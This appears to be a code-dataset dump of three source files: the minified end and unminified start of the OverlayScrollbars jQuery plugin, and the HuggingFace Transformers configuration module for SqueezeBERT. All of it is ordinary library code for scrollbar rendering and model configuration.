t=ni(n),r=ni(!n),e=t.U,i=t.J,o=n?se:K,a=function(){tt[o]=ye,re[r.F]=0};qn[e]&&Bn[e+"s"]?(tt[Sn+i]=ge,H||Ct?a():(tt[o]=-(zt[e]?Tt[e]:Ht[e]),re[r.F]=zt[e]?Tt[r.U]:0)):(tt[Sn+i]=ye,a())})(!0),nt(!1),!Ct&&(ee.h<ie.x||ee.w<ie.y)&&(qn.x&&Bn.x&&!zt.x||qn.y&&Bn.y&&!zt.y)?(tt[ae+fe]=ie.x,tt[oe+fe]=-ie.x,tt[ae+G]=ie.y,tt[oe+G]=-ie.y):tt[ae+fe]=tt[oe+fe]=tt[ae+G]=tt[oe+G]=ye,tt[ae+K]=tt[oe+K]=ye,qn.x&&Bn.x||qn.y&&Bn.y||jn?Nt&&jn&&(yn[zn]=yn[Tn]="hidden"):(!O||Un.x||Pn.x||Un.y||Pn.y)&&(Nt&&(yn[zn]=yn[Tn]=ye),tt[zn]=tt[Tn]="visible"),Qt.css(yn),Zt.css(tt),tt={},(qn.c||X||en||un)&&(!zt.x||!zt.y))){var rt=sr[xi.s];rt.webkitTransform="scale(1)",rt.display="run-in",sr[xi.oH],rt.display=ye,rt.webkitTransform=ye}if(ln={},q||en||un)if(Vt&&rn){var et=nr.css(be),it=Oi.round(nr.css(be,ye).css(le,ye).position().left);nr.css(be,et),it!==Oi.round(nr.position().left)&&(ln[le]=it)}else ln[le]=ye;if(nr.css(ln),Nt&&i){var ot=function wt(){var n=or.selectionStart;if(n===hi)return;var t,r,e=Yt.val(),i=e[xi.l],o=e.split("\n"),a=o[xi.l],u=e.substr(0,n).split("\n"),f=0,c=0,s=u[xi.l],l=u[u[xi.l]-1][xi.l];for(r=0;r<o[xi.l];r++)t=o[r][xi.l],c<t&&(f=r+1,c=t);return{Q:s,Z:l,nn:a,tn:c,rn:f,en:n,"in":i}}();if(ot){var at=Fr===hi||ot.nn!==Fr.nn,ut=ot.Q,ft=ot.Z,ct=ot.rn,st=ot.nn,lt=ot.tn,vt=ot.en,dt=ot["in"]<=vt&&Br,ht={x:U||ft!==lt||ut!==ct?-1:kr.x,y:(U?dt||at&&Fn&&c.y===Fn.y:(dt||at)&&ut===st)?kr.y:-1};c.x=-1<ht.x?Vt&&Mr&&Ot.i?0:ht.x:c.x,c.y=-1<ht.y?ht.y:c.y}Fr=ot}Vt&&Ot.i&&zt.y&&qn.x&&Mr&&(c.x+=re.w||0),rn&&Kt[_e](0),an&&Kt[Se](0),Zt[_e](c.x)[Se](c.y);var pt="v"===v,bt="h"===v,yt="a"===v,mt=function(n,t){t=t===hi?n:t,Ke(!0,n,Xn.x),Ke(!1,t,Xn.y)};li(Kt,ke,Bn.x||Bn.y),li(Kt,Ce,Bn.x),li(Kt,Ae,Bn.y),q&&!Wt&&li(Kt,ze,Vt),Wt&&ci(Kt,Te),S&&(li(Kt,Te,Qr),li(ir,We,!Qr),li(ir,De,Zr),li(ir,Me,ne),li(ir,Ee,te)),(d||D||Bn.c||qn.c||R)&&(H?R&&(si(Kt,Oe),H&&mt(!1)):yt?mt(Xn.x,Xn.y):pt?mt(!0):bt&&mt(!1)),(p||R)&&($e(!Jr&&!Gr),Ge(Yr,!Yr)),(e||$n.c||un||en||S||X||T||R||q)&&(Je(!0),Qe(!0),Je(!1),Qe(!1)),y&&Ze(!0,b),g&&Ze(!1,m),ti("onDirectionChanged",{isRTL:Vt,dir:$},q),ti("onHostSizeChanged",{width:lr.w,height:lr.h},e),ti("onContentSizeChanged",{width:vr.w,height:vr.h},i),ti("onOverflowChanged",{x:qn.x,y:qn.y,xScrollable:Bn.xs,yScrollable:Bn.ys,clipped:Bn.x||Bn.y},qn.c||Bn.c),ti("onOverflowAmountChanged",{x:$n.x,y:$n.y},$n.c)}Wt&&$r&&(hr.c||$r.c)&&($r.f||qe(),zt.y&&hr.x&&nr.css(ve+he,$r.w+Tt.y),zt.x&&hr.y&&nr.css(ve+pe,$r.h+Tt.x),$r.c=!1),Rt&&a.updateOnLoad&&Ye(),ti("onUpdated",{forced:o})}}function Ye(){Nt||yt(function(n,t){nr.find(t).each(function(n,t){Si.inA(t,Vn)<0&&(Vn.push(t),Ci(t).off(Un,rt).on(Un,rt))})})}function ot(n){var t=Ti._(n,Ti.g,!0,a);return a=fi({},a,t.S),qt=fi({},qt,t.z),t.z}function at(e){var n="parent",t=yn+xe+On,r=Nt?xe+On:ye,i=qt.textarea.inheritedAttrs,o={},a=function(){var r=e?Yt:Kt;d(o,function(n,t){cn(t)==mi&&(n==xi.c?r.addClass(t):r.attr(n,t))})},u=[rn,en,on,Te,ze,an,un,fn,Oe,ke,Ce,Ae,Ie,yn,On,Er].join(xe),f={};Kt=Kt||(Nt?p?Yt[n]()[n]()[n]()[n]():Ci(ai(on)):Yt),nr=nr||pt(_n+r),Zt=Zt||pt(wn+r),Qt=Qt||pt(gn+r),Jt=Jt||pt("os-resize-observer-host"),er=er||(Nt?pt(mn):hi),p&&ci(Kt,en),e&&si(Kt,u),i=cn(i)==mi?i.split(xe):i,Si.isA(i)&&Nt&&d(i,function(n,t){cn(t)==mi&&(o[t]=e?Kt.attr(t):Yt.attr(t))}),e?(p&&Rt?(Jt.children().remove(),d([Qt,Zt,nr,er],function(n,t){t&&si(t.removeAttr(xi.s),In)}),ci(Kt,Nt?on:rn)):(mt(Jt),nr.contents().unwrap().unwrap().unwrap(),Nt&&(Yt.unwrap(),mt(Kt),mt(er),a())),Nt&&Yt.removeAttr(xi.s),Wt&&si(c,tn)):(Nt&&(qt.sizeAutoCapable||(f[he]=Yt.css(he),f[pe]=Yt.css(pe)),p||Yt.addClass(On).wrap(Kt),Kt=Yt[n]().css(f)),p||(ci(Yt,Nt?t:rn),Kt.wrapInner(nr).wrapInner(Zt).wrapInner(Qt).prepend(Jt),nr=gt(Kt,W+_n),Zt=gt(Kt,W+wn),Qt=gt(Kt,W+gn),Nt&&(nr.prepend(er),a())),Ct&&ci(Zt,He),zt.x&&zt.y&&ci(Zt,xn),Wt&&ci(c,tn),R=Jt[0],ar=Kt[0],fr=Qt[0],cr=Zt[0],sr=nr[0],it())}function ut(){var r,t,e=[112,113,114,115,116,117,118,119,120,121,123,33,34,37,38,39,40,16,17,18,19,20,144],i=[],n="focus";function o(n){Be(),St.update(me),n&&kt&&clearInterval(r)}Nt?(9<I||!kt?Kn(Yt,"input",o):Kn(Yt,[K,G],[function a(n){var t=n.keyCode;sn(t,e)<0&&(i[xi.l]||(o(),r=setInterval(o,1e3/60)),sn(t,i)<0&&i.push(t))},function u(n){var t=n.keyCode,r=sn(t,i);sn(t,e)<0&&(-1<r&&i.splice(r,1),i[xi.l]||o(!0))}]),Kn(Yt,[ge,"drop",n,n+"out"],[function f(n){return Yt[_e](Ot.i&&Mr?9999999:0),Yt[Se](0),Si.prvD(n),Si.stpP(n),!1},function c(n){setTimeout(function(){Lt||o()},50)},function s(){Br=!0,ci(Kt,n)},function l(){Br=!1,i=[],si(Kt,n),o(!0)}])):Kn(nr,Q,function v(n){!0!==Ar&&function l(n){if(!Rt)return 1;var t="flex-grow",r="flex-shrink",e="flex-basis",i=[he,ve+he,de+he,oe+le,oe+ce,le,ce,"font-weight","word-spacing",t,r,e],o=[ae+le,ae+ce,ue+le+he,ue+ce+he],a=[pe,ve+pe,de+pe,oe+fe,oe+se,fe,se,"line-height",t,r,e],u=[ae+fe,ae+se,ue+fe+he,ue+se+he],f="s"===Or.x||"v-s"===Or.x,c=!1,s=function(n,t){for(var r=0;r<n[xi.l];r++)if(n[r]===t)return!0;return!1};return("s"===Or.y||"v-s"===Or.y)&&((c=s(a,n))||Dt||(c=s(u,n))),f&&!c&&((c=s(i,n))||Dt||(c=s(o,n))),c}((n=n.originalEvent||n).propertyName)&&St.update(me)}),Kn(Zt,ge,function d(n){$t||(t!==hi?clearTimeout(t):((Kr||Gr)&&Ge(!0),ht()||ci(Kt,Oe),ti("onScrollStart",n)),V||(Qe(!0),Qe(!1)),ti("onScroll",n),t=setTimeout(function(){Lt||(clearTimeout(t),t=hi,(Kr||Gr)&&Ge(!1),ht()||si(Kt,Oe),ti("onScrollStop",n))},175))},!0)}function ft(i){var n,t,o=function(n){var t=pt(kn+xe+(n?Dn:Mn),!0),r=pt(Cn,t),e=pt(Hn,t);return p||i||(t.append(r),r.append(e)),{an:t,un:r,cn:e}};function r(n){var t=ni(n),r=t.an,e=t.un,i=t.cn;p&&Rt?d([r,e,i],function(n,t){si(t.removeAttr(xi.s),In)}):mt(r||o(n).an)}i?(r(!0),r()):(n=o(!0),t=o(),f=n.an,s=n.un,l=n.cn,v=t.an,b=t.un,y=t.cn,p||(Qt.after(v),Qt.after(f)))}function ct(z){var T,i,O,k,e=ni(z),C=e.sn,t=x.top!==x,A=e.U,r=e.J,H=ge+e.G,o="active",a="snapHandle",u="click",R=1,f=[16,17];function c(n){return I&&t?n["screen"+r]:Si.page(n)[A]}function s(n){return qt.scrollbars[n]}function l(){R=.5}function v(){R=1}function d(n){Si.stpP(n)}function L(n){-1<sn(n.keyCode,f)&&l()}function N(n){-1<sn(n.keyCode,f)&&v()}function W(n){var t=(n.originalEvent||n).touches!==hi;return!($t||Lt||ht()||!Wr||t&&!s("touchSupport"))&&(1===Si.mBtn(n)||t)}function h(n){if(W(n)){var t=C.I,r=C.D,e=C.N*((c(n)-O)*k/(t-r));e=isFinite(e)?e:0,Vt&&z&&!Ot.i&&(e*=-1),Zt[H](Oi.round(i+e)),V&&Qe(z,i+e),g||Si.prvD(n)}else D(n)}function D(n){if(n=n||n.originalEvent,Yn(F,[B,q,K,G,J],[h,D,L,N,tt],!0),Si.rAF()(function(){Yn(F,u,d,!0,{$:!0})}),V&&Qe(z,!0),V=!1,si(P,En),si(e.cn,o),si(e.un,o),si(e.an,o),k=1,v(),T!==(O=i=hi)&&(St.scrollStop(),clearTimeout(T),T=hi),n){var t=ar[xi.bCR]();n.clientX>=t.left&&n.clientX<=t.right&&n.clientY>=t.top&&n.clientY<=t.bottom||Zn(),(Kr||Gr)&&Ge(!1)}}function M(n){i=Zt[H](),i=isNaN(i)?0:i,(Vt&&z&&!Ot.n||!Vt)&&(i=i<0?0:i),k=vt()[A],O=c(n),V=!s(a),ci(P,En),ci(e.cn,o),ci(e.an,o),Yn(F,[B,q,J],[h,D,tt]),Si.rAF()(function(){Yn(F,u,d,!1,{$:!0})}),!I&&w||Si.prvD(n),Si.stpP(n)}Kn(e.cn,$,function p(n){W(n)&&M(n)}),Kn(e.un,[$,X,Y],[function E(n){if(W(n)){var d,t=e.sn.D/Math.round(Oi.min(1,ee[e.F]/vr[e.F])*e.sn.I),h=Oi.round(ee[e.F]*t),p=270*t,b=400*t,y=e.un.offset()[e.P],r=n.ctrlKey,m=n.shiftKey,g=m&&r,w=!0,x=function(n){V&&Qe(z,n)},_=function(){x(),M(n)},S=function(){if(!Lt){var n=(O-y)*k,t=C.W,r=C.I,e=C.D,i=C.N,o=C.R,a=p*R,u=w?Oi.max(b,a):a,f=i*((n-e/2)/(r-e)),c=Vt&&z&&(!Ot.i&&!Ot.n||Mr),s=c?t<n:n<t,l={},v={easing:"linear",step:function(n){V&&(Zt[H](n),Qe(z,n))}};f=isFinite(f)?f:0,f=Vt&&z&&!Ot.i?i-f:f,m?(Zt[H](f),g?(f=Zt[H](),Zt[H](o),f=c&&Ot.i?i-f:f,f=c&&Ot.n?-f:f,l[A]=f,St.scroll(l,fi(v,{duration:130,complete:_}))):_()):(d=w?s:d,(c?d?n<=t+e:t<=n:d?t<=n:n<=t+e)?(clearTimeout(T),St.scrollStop(),T=hi,x(!0)):(T=setTimeout(S,u),l[A]=(d?"-=":"+=")+h,St.scroll(l,fi(v,{duration:a}))),w=!1)}};r&&l(),k=vt()[A],O=Si.page(n)[A],V=!s(a),ci(P,En),ci(e.un,o),ci(e.an,o),Yn(F,[q,K,G,J],[D,L,N,tt]),S(),Si.prvD(n),Si.stpP(n)}},function b(n){U=!0,(Kr||Gr)&&Ge(!0)},function y(n){U=!1,(Kr||Gr)&&Ge(!1)}]),Kn(e.an,$,function m(n){Si.stpP(n)}),j&&Kn(e.an,Q,function(n){n.target===e.an[0]&&(Je(z),Qe(z))})}function Ke(n,t,r){var e=n?f:v;li(Kt,n?an:un,!t),li(e,Ln,!r)}function Ge(n,t){if(clearTimeout(k),n)si(f,Nn),si(v,Nn);else{var r,e=function(){U||Lt||(!(r=l.hasClass("active")||y.hasClass("active"))&&(Kr||Gr||Jr)&&ci(f,Nn),!r&&(Kr||Gr||Jr)&&ci(v,Nn))};0<Xr&&!0!==t?k=setTimeout(e,Xr):e()}}function Je(n){var t={},r=ni(n),e=r.sn,i=Oi.min(1,ee[r.F]/vr[r.F]);t[r.K]=Oi.floor(100*i*1e6)/1e6+"%",ht()||r.cn.css(t),e.D=r.cn[0]["offset"+r.ln],e.M=i}function Qe(n,t){var r,e,i=cn(t)==gi,o=Vt&&n,a=ni(n),u=a.sn,f="translate(",c=_i.u("transform"),s=_i.u("transition"),l=n?Zt[_e]():Zt[Se](),v=t===hi||i?l:t,d=u.D,h=a.un[0]["offset"+a.ln],p=h-d,b={},y=(cr[ge+a.ln]-cr["client"+a.ln])*(Ot.n&&o?-1:1),m=function(n){return isNaN(n/y)?0:Oi.max(0,Oi.min(1,n/y))},g=function(n){var t=p*n;return t=isNaN(t)?0:t,t=o&&!Ot.i?h-d-t:t,t=Oi.max(0,t)},w=m(l),x=g(m(v)),_=g(w);u.N=y,u.R=l,u.L=w,ln?(r=o?-(h-d-x):x,e=n?f+r+"px, 0)":f+"0, "+r+"px)",b[c]=e,j&&(b[s]=i&&1<Oi.abs(x-u.W)?function S(n){var t=_i.u("transition"),r=n.css(t);if(r)return r;for(var e,i,o,a="\\s*(([^,(]+(\\(.+?\\))?)+)[\\s,]*",u=new RegExp(a),f=new RegExp("^("+a+")+$"),c="property duration timing-function delay".split(" "),s=[],l=0,v=function(n){if(e=[],!n.match(f))return n;for(;n.match(u);)e.push(RegExp.$1),n=n.replace(u,ye);return e};l<c[xi.l];l++)for(i=v(n.css(t+"-"+c[l])),o=0;o<i[xi.l];o++)s[o]=(s[o]?s[o]+xe:ye)+i[o];return s.join(", ")}(a.cn)+", "+(c+xe+250)+"ms":ye)):b[a.P]=x,ht()||(a.cn.css(b),ln&&j&&i&&a.cn.one(Q,function(){Lt||a.cn.css(s,ye)})),u.W=x,u.j=_,u.I=h}function Ze(n,t){var r=t?"removeClass":"addClass",e=n?b:y,i=n?An:Rn;(n?s:l)[r](i),e[r](i)}function ni(n){return{K:n?he:pe,ln:n?"Width":"Height",P:n?le:fe,G:n?"Left":"Top",U:n?pn:bn,J:n?"X":"Y",F:n?"w":"h",vn:n?"l":"t",un:n?s:b,cn:n?l:y,an:n?f:v,sn:n?vn:dn}}function st(n){ir=ir||pt(Wn,!0),n?p&&Rt?si(ir.removeAttr(xi.s),In):mt(ir):p||Kt.append(ir)}function ti(n,t,r){if(!1!==r)if(Rt){var e,i=qt.callbacks[n],o=n;"on"===o.substr(0,2)&&(o=o.substr(2,1).toLowerCase()+o.substr(3)),cn(i)==bi&&i.call(St,t),d(Pn,function(){cn((e=this).on)==bi&&e.on(o,t)})}else Lt||jn.push({n:n,a:t})}function ri(n,t,r){r=r||[ye,ye,ye,ye],n[(t=t||ye)+fe]=r[0],n[t+ce]=r[1],n[t+se]=r[2],n[t+le]=r[3]}function ei(n,t,r,e){return t=t||ye,n=n||ye,{t:e?0:ii(Kt.css(n+fe+t)),r:r?0:ii(Kt.css(n+ce+t)),b:e?0:ii(Kt.css(n+se+t)),l:r?0:ii(Kt.css(n+le+t))}}function lt(n,t){var r,e,i,o=function(n,t){if(i="",t&&typeof n==mi)for(e=n.split(xe),r=0;r<e[xi.l];r++)i+="|"+e[r]+"$";return i};return new RegExp("(^"+rn+"([-_].+|)$)"+o(Er,n)+o(Ir,t),"g")}function vt(){var n=fr[xi.bCR]();return{x:ln&&1/(Oi.round(n.width)/fr[xi.oW])||1,y:ln&&1/(Oi.round(n.height)/fr[xi.oH])||1}}function dt(n){var t="ownerDocument",r="HTMLElement",e=n&&n[t]&&n[t].parentWindow||vi;return typeof e[r]==pi?n instanceof e[r]:n&&typeof n==pi&&null!==n&&1===n.nodeType&&typeof n.nodeName==mi}function ii(n,t){var r=t?parseFloat(n):parseInt(n,10);return isNaN(r)?0:r}function ht(){return Cr&&zt.x&&zt.y}function oi(){return Nt?er[0]:sr}function ai(r,n){return"<div "+(r?cn(r)==mi?'class="'+r+'"':function(){var n,t=ye;if(Ci.isPlainObject(r))for(n in r)t+=("c"===n?"class":n)+'="'+r[n]+'" ';return t}():ye)+">"+(n||ye)+"</div>"}function pt(n,t){var r=cn(t)==gi,e=!r&&t||Kt;return p&&!e[xi.l]?null:p?e[r?"children":"find"](W+n.replace(/\s/g,W)).eq(0):Ci(ai(n))}function bt(n,t){for(var r,e=t.split(W),i=0;i<e.length;i++){if(!n[xi.hOP](e[i]))return;r=n[e[i]],i<e.length&&cn(r)==pi&&(n=r)}return r}function yt(n){var t=qt.updateOnLoad;t=cn(t)==mi?t.split(xe):t,Si.isA(t)&&!Lt&&d(t,n)}function ui(n,t,r){if(r)return r;if(cn(n)!=pi||cn(t)!=pi)return n!==t;for(var e in n)if("c"!==e){if(!n[xi.hOP](e)||!t[xi.hOP](e))return!0;if(ui(n[e],t[e]))return!0}return!1}function fi(){return Ci.extend.apply(this,[!0].concat([].slice.call(arguments)))}function ci(n,t){return e.addClass.call(n,t)}function si(n,t){return e.removeClass.call(n,t)}function li(n,t,r){return(r?ci:si)(n,t)}function mt(n){return e.remove.call(n)}function gt(n,t){return e.find.call(n,t).eq(0)}}return ki&&ki.fn&&(ki.fn.overlayScrollbars=function(n,t){return ki.isPlainObject(n)?(ki.each(this,function(){w(this,n,t)}),this):w(this,n)}),w}); |
27182812/ChatGLM-LLaMA-chinese-insturct | 7,910 | src/transformers/models/squeezebert/configuration_squeezebert.py | # coding=utf-8
# Copyright 2020 The SqueezeBert authors and The HuggingFace Inc. team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
""" SqueezeBERT model configuration"""
from collections import OrderedDict
from typing import Mapping
from ...configuration_utils import PretrainedConfig
from ...onnx import OnnxConfig
from ...utils import logging
logger = logging.get_logger(__name__)
SQUEEZEBERT_PRETRAINED_CONFIG_ARCHIVE_MAP = {
"squeezebert/squeezebert-uncased": (
"https://huggingface.co/squeezebert/squeezebert-uncased/resolve/main/config.json"
),
"squeezebert/squeezebert-mnli": "https://huggingface.co/squeezebert/squeezebert-mnli/resolve/main/config.json",
"squeezebert/squeezebert-mnli-headless": (
"https://huggingface.co/squeezebert/squeezebert-mnli-headless/resolve/main/config.json"
),
}
class SqueezeBertConfig(PretrainedConfig):
r"""
This is the configuration class to store the configuration of a [`SqueezeBertModel`]. It is used to instantiate a
SqueezeBERT model according to the specified arguments, defining the model architecture. Instantiating a
configuration with the defaults will yield a similar configuration to that of the SqueezeBERT
[squeezebert/squeezebert-uncased](https://huggingface.co/squeezebert/squeezebert-uncased) architecture.
Configuration objects inherit from [`PretrainedConfig`] and can be used to control the model outputs. Read the
documentation from [`PretrainedConfig`] for more information.
Args:
vocab_size (`int`, *optional*, defaults to 30522):
Vocabulary size of the SqueezeBERT model. Defines the number of different tokens that can be represented by
the `inputs_ids` passed when calling [`SqueezeBertModel`].
hidden_size (`int`, *optional*, defaults to 768):
Dimensionality of the encoder layers and the pooler layer.
num_hidden_layers (`int`, *optional*, defaults to 12):
Number of hidden layers in the Transformer encoder.
num_attention_heads (`int`, *optional*, defaults to 12):
Number of attention heads for each attention layer in the Transformer encoder.
intermediate_size (`int`, *optional*, defaults to 3072):
Dimensionality of the "intermediate" (often named feed-forward) layer in the Transformer encoder.
hidden_act (`str` or `Callable`, *optional*, defaults to `"gelu"`):
The non-linear activation function (function or string) in the encoder and pooler. If string, `"gelu"`,
`"relu"`, `"silu"` and `"gelu_new"` are supported.
hidden_dropout_prob (`float`, *optional*, defaults to 0.1):
The dropout probability for all fully connected layers in the embeddings, encoder, and pooler.
attention_probs_dropout_prob (`float`, *optional*, defaults to 0.1):
The dropout ratio for the attention probabilities.
max_position_embeddings (`int`, *optional*, defaults to 512):
The maximum sequence length that this model might ever be used with. Typically set this to something large
just in case (e.g., 512 or 1024 or 2048).
type_vocab_size (`int`, *optional*, defaults to 2):
The vocabulary size of the `token_type_ids` passed when calling [`BertModel`] or [`TFBertModel`].
initializer_range (`float`, *optional*, defaults to 0.02):
The standard deviation of the truncated_normal_initializer for initializing all weight matrices.
layer_norm_eps (`float`, *optional*, defaults to 1e-12):
pad_token_id (`int`, *optional*, defaults to 0):
The ID of the token in the word embedding to use as padding.
embedding_size (`int`, *optional*, defaults to 768):
The dimension of the word embedding vectors.
q_groups (`int`, *optional*, defaults to 4):
The number of groups in Q layer.
k_groups (`int`, *optional*, defaults to 4):
The number of groups in K layer.
v_groups (`int`, *optional*, defaults to 4):
The number of groups in V layer.
post_attention_groups (`int`, *optional*, defaults to 1):
The number of groups in the first feed forward network layer.
intermediate_groups (`int`, *optional*, defaults to 4):
The number of groups in the second feed forward network layer.
output_groups (`int`, *optional*, defaults to 4):
The number of groups in the third feed forward network layer.
Examples:
```python
>>> from transformers import SqueezeBertConfig, SqueezeBertModel
>>> # Initializing a SqueezeBERT configuration
>>> configuration = SqueezeBertConfig()
>>> # Initializing a model (with random weights) from the configuration above
>>> model = SqueezeBertModel(configuration)
>>> # Accessing the model configuration
>>> configuration = model.config
```
Attributes: pretrained_config_archive_map (Dict[str, str]): A dictionary containing all the available pre-trained
checkpoints.
"""
pretrained_config_archive_map = SQUEEZEBERT_PRETRAINED_CONFIG_ARCHIVE_MAP
model_type = "squeezebert"
def __init__(
self,
vocab_size=30522,
hidden_size=768,
num_hidden_layers=12,
num_attention_heads=12,
intermediate_size=3072,
hidden_act="gelu",
hidden_dropout_prob=0.1,
attention_probs_dropout_prob=0.1,
max_position_embeddings=512,
type_vocab_size=2,
initializer_range=0.02,
layer_norm_eps=1e-12,
pad_token_id=0,
embedding_size=768,
q_groups=4,
k_groups=4,
v_groups=4,
post_attention_groups=1,
intermediate_groups=4,
output_groups=4,
**kwargs,
):
super().__init__(pad_token_id=pad_token_id, **kwargs)
self.vocab_size = vocab_size
self.hidden_size = hidden_size
self.num_hidden_layers = num_hidden_layers
self.num_attention_heads = num_attention_heads
self.hidden_act = hidden_act
self.intermediate_size = intermediate_size
self.hidden_dropout_prob = hidden_dropout_prob
self.attention_probs_dropout_prob = attention_probs_dropout_prob
self.max_position_embeddings = max_position_embeddings
self.type_vocab_size = type_vocab_size
self.initializer_range = initializer_range
self.layer_norm_eps = layer_norm_eps
self.embedding_size = embedding_size
self.q_groups = q_groups
self.k_groups = k_groups
self.v_groups = v_groups
self.post_attention_groups = post_attention_groups
self.intermediate_groups = intermediate_groups
self.output_groups = output_groups
# # Copied from transformers.models.bert.configuration_bert.BertOnxxConfig with Bert->SqueezeBert
class SqueezeBertOnnxConfig(OnnxConfig):
@property
def inputs(self) -> Mapping[str, Mapping[int, str]]:
if self.task == "multiple-choice":
dynamic_axis = {0: "batch", 1: "choice", 2: "sequence"}
else:
dynamic_axis = {0: "batch", 1: "sequence"}
return OrderedDict(
[
("input_ids", dynamic_axis),
("attention_mask", dynamic_axis),
("token_type_ids", dynamic_axis),
]
)
|
2740908911/Pilot-Web | 318,013 | pilot-client/plugins/overlayScrollbars/js/jquery.overlayScrollbars.js | /*!
* OverlayScrollbars
* https://github.com/KingSora/OverlayScrollbars
*
* Version: 1.13.0
*
* Copyright KingSora | Rene Haas.
* https://github.com/KingSora
*
* Released under the MIT license.
* Date: 02.08.2020
*/
(function (global, factory) {
if (typeof define === 'function' && define.amd)
define(['jquery'], function (framework) { return factory(global, global.document, undefined, framework); });
else if (typeof module === 'object' && typeof module.exports === 'object')
module.exports = factory(global, global.document, undefined, require('jquery'));
else
factory(global, global.document, undefined, global.jQuery);
}(typeof window !== 'undefined' ? window : this,
function (window, document, undefined, framework) {
'use strict';
var PLUGINNAME = 'OverlayScrollbars';
var TYPES = {
o: 'object',
f: 'function',
a: 'array',
s: 'string',
b: 'boolean',
n: 'number',
u: 'undefined',
z: 'null'
//d : 'date',
//e : 'error',
//r : 'regexp',
//y : 'symbol'
};
var LEXICON = {
c: 'class',
s: 'style',
i: 'id',
l: 'length',
p: 'prototype',
ti: 'tabindex',
oH: 'offsetHeight',
cH: 'clientHeight',
sH: 'scrollHeight',
oW: 'offsetWidth',
cW: 'clientWidth',
sW: 'scrollWidth',
hOP: 'hasOwnProperty',
bCR: 'getBoundingClientRect'
};
var VENDORS = (function () {
//https://developer.mozilla.org/en-US/docs/Glossary/Vendor_Prefix
var jsCache = {};
var cssCache = {};
var cssPrefixes = ['-webkit-', '-moz-', '-o-', '-ms-'];
var jsPrefixes = ['WebKit', 'Moz', 'O', 'MS'];
function firstLetterToUpper(str) {
return str.charAt(0).toUpperCase() + str.slice(1);
}
return {
_cssPrefixes: cssPrefixes,
_jsPrefixes: jsPrefixes,
_cssProperty: function (name) {
var result = cssCache[name];
if (cssCache[LEXICON.hOP](name))
return result;
var uppercasedName = firstLetterToUpper(name);
var elmStyle = document.createElement('div')[LEXICON.s];
var resultPossibilities;
var i = 0;
var v;
var currVendorWithoutDashes;
for (; i < cssPrefixes.length; i++) {
currVendorWithoutDashes = cssPrefixes[i].replace(/-/g, '');
resultPossibilities = [
name, //transition
cssPrefixes[i] + name, //-webkit-transition
currVendorWithoutDashes + uppercasedName, //webkitTransition
firstLetterToUpper(currVendorWithoutDashes) + uppercasedName //WebkitTransition
];
for (v = 0; v < resultPossibilities[LEXICON.l]; v++) {
if (elmStyle[resultPossibilities[v]] !== undefined) {
result = resultPossibilities[v];
break;
}
}
}
cssCache[name] = result;
return result;
},
_cssPropertyValue: function (property, values, suffix) {
var name = property + ' ' + values;
var result = cssCache[name];
if (cssCache[LEXICON.hOP](name))
return result;
var dummyStyle = document.createElement('div')[LEXICON.s];
var possbleValues = values.split(' ');
var preparedSuffix = suffix || '';
var i = 0;
var v = -1;
var prop;
for (; i < possbleValues[LEXICON.l]; i++) {
for (; v < VENDORS._cssPrefixes[LEXICON.l]; v++) {
prop = v < 0 ? possbleValues[i] : VENDORS._cssPrefixes[v] + possbleValues[i];
dummyStyle.cssText = property + ':' + prop + preparedSuffix;
if (dummyStyle[LEXICON.l]) {
result = prop;
break;
}
}
}
cssCache[name] = result;
return result;
},
_jsAPI: function (name, isInterface, fallback) {
var i = 0;
var result = jsCache[name];
if (!jsCache[LEXICON.hOP](name)) {
result = window[name];
for (; i < jsPrefixes[LEXICON.l]; i++)
result = result || window[(isInterface ? jsPrefixes[i] : jsPrefixes[i].toLowerCase()) + firstLetterToUpper(name)];
jsCache[name] = result;
}
return result || fallback;
}
}
})();
var COMPATIBILITY = (function () {
function windowSize(x) {
return x ? window.innerWidth || document.documentElement[LEXICON.cW] || document.body[LEXICON.cW] : window.innerHeight || document.documentElement[LEXICON.cH] || document.body[LEXICON.cH];
}
function bind(func, thisObj) {
if (typeof func != TYPES.f) {
throw "Can't bind function!";
// closest thing possible to the ECMAScript 5
// internal IsCallable function
//throw new TypeError('Function.prototype.bind - what is trying to be bound is not callable');
}
var proto = LEXICON.p;
var aArgs = Array[proto].slice.call(arguments, 2);
var fNOP = function () { };
var fBound = function () { return func.apply(this instanceof fNOP ? this : thisObj, aArgs.concat(Array[proto].slice.call(arguments))); };
if (func[proto])
fNOP[proto] = func[proto]; // Function.prototype doesn't have a prototype property
fBound[proto] = new fNOP();
return fBound;
}
return {
/**
* Gets the current window width.
* @returns {Number|number} The current window width in pixel.
*/
wW: bind(windowSize, 0, true),
/**
* Gets the current window height.
* @returns {Number|number} The current window height in pixel.
*/
wH: bind(windowSize, 0),
/**
* Gets the MutationObserver Object or undefined if not supported.
* @returns {MutationObserver|*|undefined} The MutationsObserver Object or undefined.
*/
mO: bind(VENDORS._jsAPI, 0, 'MutationObserver', true),
/**
* Gets the ResizeObserver Object or undefined if not supported.
* @returns {MutationObserver|*|undefined} The ResizeObserver Object or undefined.
*/
rO: bind(VENDORS._jsAPI, 0, 'ResizeObserver', true),
/**
* Gets the RequestAnimationFrame method or it's corresponding polyfill.
* @returns {*|Function} The RequestAnimationFrame method or it's corresponding polyfill.
*/
rAF: bind(VENDORS._jsAPI, 0, 'requestAnimationFrame', false, function (func) { return window.setTimeout(func, 1000 / 60); }),
/**
* Gets the CancelAnimationFrame method or it's corresponding polyfill.
* @returns {*|Function} The CancelAnimationFrame method or it's corresponding polyfill.
*/
cAF: bind(VENDORS._jsAPI, 0, 'cancelAnimationFrame', false, function (id) { return window.clearTimeout(id); }),
/**
* Gets the current time.
* @returns {number} The current time.
*/
now: function () {
return Date.now && Date.now() || new Date().getTime();
},
/**
* Stops the propagation of the given event.
* @param event The event of which the propagation shall be stoped.
*/
stpP: function (event) {
if (event.stopPropagation)
event.stopPropagation();
else
event.cancelBubble = true;
},
/**
* Prevents the default action of the given event.
* @param event The event of which the default action shall be prevented.
*/
prvD: function (event) {
if (event.preventDefault && event.cancelable)
event.preventDefault();
else
event.returnValue = false;
},
/**
* Gets the pageX and pageY values of the given mouse event.
* @param event The mouse event of which the pageX and pageX shall be got.
* @returns {{x: number, y: number}} x = pageX value, y = pageY value.
*/
page: function (event) {
event = event.originalEvent || event;
